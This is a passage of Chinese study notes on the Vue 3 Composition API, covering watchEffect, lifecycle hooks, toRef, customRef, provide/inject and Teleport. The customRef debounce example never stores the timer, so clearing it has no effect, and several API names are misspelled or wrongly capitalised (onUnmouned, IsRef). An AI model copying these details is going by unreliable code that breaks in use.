// 此处由于监视的是reactive所定义的对象中的某个属性，所以deep有效
watch(()=>person.job,(newValue,oldValue)=>{
    console.log('person.job变了',newValue,oldValue)
},{deep:true})

watchEffect函数

• watch的套路是：纪要指明监视的属性，也要指明监视的回调
• watchEffect的套路是：不用指明监视哪个属性，监视的回调中用到哪个属性，那就监视哪个属性
• watchEffect有点像computed：
  • 但computed注意的计算出来的值（回调函数的返回值），所以必须要写返回值
  • 而watchEffect更注重的是过程（回调函数的函数体），所以不用写返回值

//watchEffect所指定的回调用到的数据只要发生变化，则直接重新执行回调
watchEffect(()=>{
    const x1 = sum.value
    const x2 = person.age
     
})

生命周期

• vue3.0中可以继续使用vue2.x中的生命周期钩子，但有两个被更名：
  • beforeDestory改名为beforeUnmount
  • destoryed改名为unmounted
• vue3.0也提供了Composition API形式的生命周期钩子，与vue2.x中钩子对应关系如下：
  • beforeCreate ==> setup( )
  • created ==> setup( )
  • beforeMount ==> onBeforeMount
  • mounted ==> onMounted
  • beforeUpdate ==> onBeforeUpdate
  • updated ==> onUpdated
  • beforeUnmounted ==> onBeforeUnmount
  • unmounted ==>onUnmouned

自定义hook函数

• 什么是hook？ —— 本质上是一个函数，把setup函数中使用的Composition API进行了封装
• 类似于vue2.x中的mixin
• 自定义hook的优势：复用代码，让setup中的逻辑更清楚易懂

toRef

• 作用：创建一个ref对象，其value值指向另一个对象用的某个属性值
• 语法：const name = toRef(person,‘name’)
• 应用：要将响应式对象中的某个属性单独提供给外部使用时
• 扩展：toRefs与toRef功能一致，但可以批量创建多个ref对象，语法：toRefs(person)

其他Composition API

shallowReactive与shallowRef

• shallowReactive：只处理对象最外层属性的响应式（浅响应式）
• shallowRef：只处理基本数据类型的响应式，不进行对象的响应式处理
• 什么时候使用？
  • 如果有一个对象数据，结构比较深，但变化时只是外层属性变化 ===> shallowReactive
  • 如果一个对象数据，后续功能不会修改该对象中的属性，而是生新的对象来替换 ===> shallowRef

readonly与shallowReadonly

• readonly：让一个响应式数据变为只读的（深只读）
• shallowReadonly：让一个响应式数据变为只读的（浅只读）
• 应用场景：不希望数据被修改时

toRaw与markRaw

• toRaw：
  • 作用：将一个由reactive生成的响应式对象转为普通对象
  • 使用场景：用于读取响应式对象对应的普通对象，对这个普通对象的所有操作，不会引起页面更新
• markRaw：
  • 作用：标记一个对象，使其永远不会再成为响应式对象
  • 应用场景：
    • 有些值不应该被设置为响应式的，例如复杂的第三方类库等
    • 当渲染具有不可变数据源的大列表时，跳过响应式转换可以提高性能

customRef

• 作用：创建一个自定义的ref，并对其依赖项跟踪和更新触发进行显式控制

<template>
  <input type="text" v-model="keyWord">

  <h3>{{ keyWord }}</h3>
</template>

<script>
import { customRef } from 'vue'


export default {
  name: 'App',
  setup(){
    //使用vue使用的内置的ref
    // let keyWord = ref('hello') 


    // 自定义一个ref
    function myRef(value,delay){
      let timer
      return customRef((track,trigger)=>{
        return{
          get(){
            track() //通知vue追踪数据的变化
            return value

          },
          set(newValue){
            clearTimeout(timer)
            setTimeout(() => {
              value = newValue
              trigger() //通知vue去重新解析模板
              
            }, delay);
           
            
          }
        }
      })


    }

    // 使用程序员自定义的ref
    let keyWord = myRef('hello',500) 
    return {
      keyWord
    }
  }
 
}
</script>

provide与inject

• 作用：实现祖孙组件间通信

• 套路：父组件有一个provide选项来提供数据，后代组件有一个inject选项来开始使用这些数据

• 具体写法：

  1. 祖组件中：

     setup(){
         .....
         let car = reactive({name:'benchi',price:'40w'})
         provide('car',car)
         .....
     }
     

  2. 孙组件中：

     setup(){
         let car = inject('car')
         return {car}      
     }
     

响应式数据的判断

• IsRef：检查一个值是否为一个ref对象
• IsReactive：检查一个对象是否是由reactive创建的响应式代理
• IsReadonly：检查一个对象是否是由readonly创建的只读代理
• IsProxy：检查一个对象是否是由reactive或者readonly方法创建的代理

新的组件

Fragment

• 在vue2中：组件必须由一个根标签
• 在vue3中：组件可以没有根标签，内部会将多个标签包含在一个Fragment虚拟元素中
• 好处：减少标签层级，减少内存占用

Teleport

• 什么是Teleport？ ------ Teleport是一种能够将我们的组件html结构移动到指定位置的技术

<teleport to="移动位置">
    <div v-if="isShow" class="mask">
        <div class="dailog">
            <h3>我是一个弹窗</h3>
			<button @click="isShow = false">关闭弹窗</button>
        </div>
    </div>   
</teleport>